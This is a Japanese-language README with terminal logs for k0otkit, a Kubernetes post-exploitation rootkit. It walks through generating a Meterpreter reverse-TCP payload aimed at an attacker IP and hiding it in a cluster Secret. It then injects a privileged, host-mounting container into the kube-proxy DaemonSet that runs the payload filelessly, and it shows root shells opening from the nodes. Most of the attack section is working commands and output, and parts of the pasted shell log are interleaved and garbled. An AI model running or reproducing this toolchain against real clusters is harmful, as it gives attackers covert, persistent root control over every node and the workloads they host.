metarget/k0otkitk0otkitは、Kubernetesクラスタに対するペネトレーションで使用できる汎用的なポストペネトレーション手法です。
k0otkitは、Kubernetesクラスタに対するペネトレーションで使用できる汎用的なポストペネトレーション手法です。
k0otkitを使用することで、ターゲットのKubernetesクラスタ内のすべてのノードを迅速かつ隠密的に継続的に操作（リバースシェル）できます。
k0otkitはKubernetesとrootkitの組み合わせです。
前提条件:
k0otkitはポストペネトレーションツールであるため、まずクラスタを攻略し、何らかの方法でコンテナから脱出し、マスターノードのroot権限を取得する必要があります（厳密には、ターゲットKubernetesの管理者権限を取得する必要があります）。
シナリオ:
kubectlをadminとして使用してクラスタに指示を出せるようになります。k0otkitの詳細は*k0otkit: K8sをK8sらしくハックする*をご覧ください。
ターゲットKubernetesのマスターノードでrootシェルを取得していることを確認してください（ターゲットKubernetesの管理者権限を持っている場合もk0otkitを利用できますが、その場合はk0otkit_template.sh内のkubectlコマンドをトークンまたは証明書を使用するように変更する必要があるかもしれません）。
攻撃者ホストにMetasploitがインストールされていることを確認してください（msfvenomとmsfconsoleが利用可能であること）。
k0otkitの展開
このリポジトリをクローンします:
git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh
pre_exp.sh内の攻撃者IPとポートを自分のIPとポートに置き換えます:
ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444
k0otkitを生成します:
./pre_exp.sh
k0otkit.shが生成されます。次に、リバースシェルハンドラを実行します:
./handle_multi_reverse_shell.sh
ハンドラが準備できたら、k0otkit.shの内容をコピーし、ターゲットKubernetesのマスターノード上のシェルに貼り付けて、<Enter>を押して実行します。
しばらく待つと、すべてのノードからのリバースシェルが楽しめます :)
追記: k0otkitで操作できるKubernetesクラスタの数に制限はありません。
シェルとの対話
k0otkitの展開が成功したら、任意のリバースシェルと自由に対話できます:
# msfconsole内で
sessions 1
k0otkitの生成:
kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh
リバースシェルハンドラの実行:
kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >
k0otkit.shの内容をコピーし、ターゲットKubernetesのマスターノード上のシェルに貼り付けて<Enter>を押します:
kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
# inject malicious container into kube-proxy pod
kubecroxy-cache
root@victim-2:~#
root@victim-2:~# ctr_name=kube-proxy-cache
root@victim-2:~#
root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache
root@victim-2:~#
root@victim-2:~# payload_name=cache
root@victim-2:~#
root@victim-2:~# secret_name=proxy-cache
root@victim-2:~#
root@victim-2:~# secret_data_name=content
root@victim-2:~#
root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n pr name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/
root@victim-2:~#
root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
root@victim-2:~#
root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
root@victim-2:~#
root@victim-2:~# # create payload secret
root@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
> name: $secret_name
> namespace: kube-system
> type: Opaque
> data:
> $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
> EOF
secret/proxy-cache created
root@victim-2:~#
root@victim-2:~# # assume that ctr_line_num < volume_line_num
root@victim-2:~# # otherwise you should switch the two sed commands below
root@victim-2:~#
root@victim-2:~# # inject malicious container into kube-proxy pod
root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
> | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
> | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
> | kubectl replace -f -
daemonset.extensions/kube-proxy replaced
リバースシェルを待つ:
msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500
msf5 exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106 192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)
機能1 終了と再接続:
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.106 - Meterpreter session 1 closed. Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500
機能2 ノードへのエスケープと制御:
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40755/rwxr-xr-x 4096 dir 2020-03-03 03:21:08 -0500 bin
40755/rwxr-xr-x 4096 dir 2020-03-05 22:23:56 -0500 boot
40755/rwxr-xr-x 4180 dir 2020-04-09 21:32:10 -0400 dev
40755/rwxr-xr-x 4096 dir 2020-04-17 02:31:15 -0400 etc
40755/rwxr-xr-x 4096 dir 2020-03-03 03:00:00 -0500 home
100644/rw-r--r-- 36257923 fil 2020-03-05 22:23:56 -0500 initrd.img
100644/rw-r--r-- 39829184 fil 2020-03-03 03:00:17 -0500 initrd.img.old
40755/rwxr-xr-x 4096 dir 2020-04-16 03:52:46 -0400 lib
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 lib64
40700/rwx------ 16384 dir 2020-03-03 02:33:19 -0500 lost+found
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:29 -0500 media
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 mnt
40755/rwxr-xr-x 4096 dir 2020-04-16 03:59:01 -0400 opt
40555/r-xr-xr-x 0 dir 2020-04-09 21:32:01 -0400 proc
40700/rwx------ 4096 dir 2020-11-30 04:00:05 -0500 root
40755/rwxr-xr-x 1020 dir 2020-11-30 04:04:59 -0500 run
40755/rwxr-xr-x 12288 dir 2020-04-16 03:52:46 -0400 sbin
40755/rwxr-xr-x 4096 dir 2020-03-03 03:02:37 -0500 snap
40755/rwxr-xr-x 4096 dir 2020-03-03 02:33:23 -0500 srv
40555/r-xr-xr-x 0 dir 2020-04-14 22:51:06 -0400 sys
41777/rwxrwxrwx 4096 dir 2020-11-30 04:10:07 -0500 tmp
40755/rwxr-xr-x 4096 dir 2020-04-16 04:42:54 -0400 usr
40755/rwxr-xr-x 4096 dir 2020-03-03 02:51:25 -0500 var
100600/rw------- 6712336 fil 2020-03-05 22:22:58 -0500 vmlinuz
100600/rw------- 7184032 fil 2020-03-03 02:33:55 -0500 vmlinuz.old